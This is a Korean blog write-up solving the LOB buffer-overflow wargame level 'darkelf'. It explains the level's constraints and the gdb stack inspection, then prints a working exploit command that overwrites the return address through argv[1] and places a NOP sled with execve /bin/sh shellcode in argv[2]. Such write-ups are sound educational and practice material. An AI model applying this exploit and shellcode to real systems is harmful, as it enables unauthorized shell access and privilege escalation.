LOB wolfman->darkelf
by St1tch코드를 보면 환경변수초기화 + ret주소 최상위비트가'\xbf' + argv[1]의 길이 제한
이렇게 3개의 조건이 붙어있다.
gdb로 살펴보면 buf의 크기는 40이고, argv[1]을 buf에 복사하므로,
argv[1]로 ret까지 덮어주고, ret주소를 argv[2]에 해당하는 범위로 해준다.
그리고 argv[2]에는 nop sled와 shellcode를 적는다.
strcpy의 뒷부분에 브레이크를 잡아놓고 적당한 인풋값을 넣어 실행을 시킨 후,
스택의 주소들을 확인한다.
ebp+c에는 **argv값이 들어있고, 그 값을 따라가면
*argv[0~]주소들이 차례대로 있다.
3번째 값에 해당하는 주소를 보면 argv[2]에 값들이 정확이 들어가 있는것을 볼 수 있다.
이 주소를 토대로 익스플로잇을 작성했다.
argv[1] = dummy*44 + ret
argv[2] = nop sled + shellcode
<exploit code>
./darkelf `python -c 'print "\x90"*44 + "\x01\xfb\xff\xbf"'` `python -c 'print "\x90"*1024 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
다른 문제와 달리 한번에 성공하지 못했는데, segmentation fault에러가 발생했다.
이럴때는 gdb로 dump파일을 열어, ret주소를 확인해보면 된다.
gdb -c core
블로그의 정보
튜기's blogg(st1tch)
St1tch